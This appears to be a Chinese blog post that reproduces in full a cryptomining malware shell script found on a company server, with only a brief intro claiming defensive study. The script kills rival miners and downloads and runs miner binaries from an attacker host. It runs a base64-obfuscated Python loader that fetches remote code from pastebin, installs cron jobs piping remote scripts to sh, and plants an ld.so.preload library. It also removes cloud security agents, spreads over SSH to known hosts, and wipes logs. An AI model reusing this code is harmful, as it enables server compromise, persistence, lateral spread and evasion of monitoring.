shell脚本 挖矿病毒脚本分析

一.简介

本脚本为公司服务器被挖矿，找到的下载矿机的脚本。但看到这么多行，应该是不止是挖矿，还做了别的事情。分析和学习此类脚本，可以防范和解决部分挖矿问题。

二.脚本内容

1. #!/bin/bash
2. SHELL=/bin/sh
3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
4. function b() {
5. pkill -f sourplum
6. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
7. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
8. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
9. rm -rf /tmp/*index_bak*
10. rm -rf /tmp/*httpd.conf*
11. rm -rf /tmp/*httpd.conf
12. rm -rf /tmp/a7b104c270
13. pkill -f biosetjenkins
14. pkill -f AnXqV.yam
15. pkill -f xmrigDaemon
16. pkill -f xmrigMiner
17. pkill -f xmrig
18. pkill -f Loopback
19. pkill -f apaceha
20. pkill -f cryptonight
21. pkill -f stratum
22. pkill -f mixnerdx
23. pkill -f performedl
24. pkill -f JnKihGjn
25. pkill -f irqba2anc1
26. pkill -f irqba5xnc1
27. pkill -f irqbnc1
28. pkill -f ir29xc1
29. pkill -f conns
30. pkill -f irqbalance
31. pkill -f crypto-pool
32. pkill -f minexmr
33. pkill -f XJnRj
34. pkill -f NXLAi
35. pkill -f BI5zj
36. pkill -f askdljlqw
37. pkill -f minerd
38. pkill -f minergate
39. pkill -f Guard.sh
40. pkill -f ysaydh
41. pkill -f bonns
42. pkill -f donns
43. pkill -f kxjd
44. pkill -f Duck.sh
45. pkill -f bonn.sh
46. pkill -f conn.sh
47. pkill -f kworker34
48. pkill -f kw.sh
49. pkill -f pro.sh
50. pkill -f polkitd
51. pkill -f acpid
52. pkill -f icb5o
53. pkill -f nopxi
54. pkill -f irqbalanc1
55. pkill -f minerd
56. pkill -f i586
57. pkill -f gddr
58. pkill -f mstxmr
59. pkill -f ddg.2011
60. pkill -f wnTKYg
61. pkill -f deamon
62. pkill -f disk_genius
63. pkill -f sourplum
64. pkill -f bashx
65. pkill -f bashg
66. pkill -f bashe
67. pkill -f bashf
68. pkill -f bashh
69. pkill -f XbashY
70. pkill -f libapache
71. pkill -f qW3xT.2
72. pkill -f /usr/bin/.sshd
73. pkill -f sustes
74. pkill -f Xbash
75. rm -rf /var/tmp/j*
76. rm -rf /tmp/j*
77. rm -rf /var/tmp/java
78. rm -rf /tmp/java
79. rm -rf /var/tmp/java2
80. rm -rf /tmp/java2
81. rm -rf /var/tmp/java*
82. rm -rf /tmp/java*
83. rm -rf /tmp/httpd.conf
84. rm -rf /tmp/conn
85. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
86. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
87. chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
88. rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
89. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
90. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
91. chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
92. rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
93. chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
94. rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
95. mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
96. touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
97. chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
98. chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
99. ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
100. ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
101. ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
102. ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
103. ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
104. ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
105. ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
106. ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
107. ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
108. ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
109. ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
110. ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
111. ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
112. ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
113. ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
114. ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
115. ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
116. ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
117. ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
118. ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
119. ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
120. netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
121. netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
122. netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
123. netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
124. netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
125. netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
126. netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
127. netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
128. netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
129. netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
130. netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
131. p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
132. if [ ${p} -eq 0 ];then
133. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
134. ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
135. fi
136. }
137. function d() {
138. ARCH=$(uname -i)
139. if [ "$ARCH" == "x86_64" ]; then
140. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
141. nohup /tmp/kworkerds >/dev/null 2>&1 &
142. else
143. mkdir -p /var/tmp
144. chmod 1777 /var/tmp
145. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
146. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
147. nohup /var/tmp/kworkerds >/dev/null 2>&1 &
148. fi
149. }
150. function e() {
151. nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
152. touch /tmp/.38t9guft0055d0565u444gtjr0
153. }
154. function c() {
155. chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
156. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
157. echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
158. echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
159. echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
160. echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
161. mkdir -p /var/spool/cron/crontabs
162. echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
163. mkdir -p /etc/cron.hourly
164. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
165. mkdir -p /etc/cron.daily
166. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
167. mkdir -p /etc/cron.monthly
168. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
169. mkdir -p /usr/local/lib/
170. if [ ! -f "/usr/local/lib/libntpd.so" ]; then
171. ARCH=$(uname -i)
172. if [ "$ARCH" == "x86_64" ]; then
173. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
174. elif [ "$ARCH" == "i386" ]; then
175. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
176. else
177. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
178. fi
179. fi
180. chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
181. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
182. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh' & done
183. fi
184. touch -acmr /bin/sh /etc/cron.hourly/oanacroner
185. touch -acmr /bin/sh /etc/cron.daily/oanacroner
186. touch -acmr /bin/sh /etc/cron.monthly/oanacroner
187. }
188. function a() {
189. if ps aux | grep -i '[a]liyun'; then
190. wget http://update.aegis.aliyun.com/download/uninstall.sh
191. chmod +x uninstall.sh
192. ./uninstall.sh
193. wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
194. chmod +x quartz_uninstall.sh
195. ./quartz_uninstall.sh
196. rm -f uninstall.sh quartz_uninstall.sh
197. pkill aliyun-service
198. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
199. rm -rf /usr/local/aegis*;
200. elif ps aux | grep -i '[y]unjing'; then
201. /usr/local/qcloud/stargate/admin/uninstall.sh
202. /usr/local/qcloud/YunJing/uninst.sh
203. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
204. fi
205. touch /tmp/.a
206. }
207. mkdir -p /tmp
208. chmod 1777 /tmp
209. if [ ! -f "/tmp/.a" ]; then
210. a
211. fi
212. b
213. c
214. port=$(netstat -an | grep :56415 | wc -l)
215. if [ ${port} -eq 0 ];then
216. d
217. fi
218. if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
219. e
220. fi
221. echo 0>/var/spool/mail/root
222. echo 0>/var/log/wtmp
223. echo 0>/var/log/secure
224. echo 0>/var/log/cron
225. #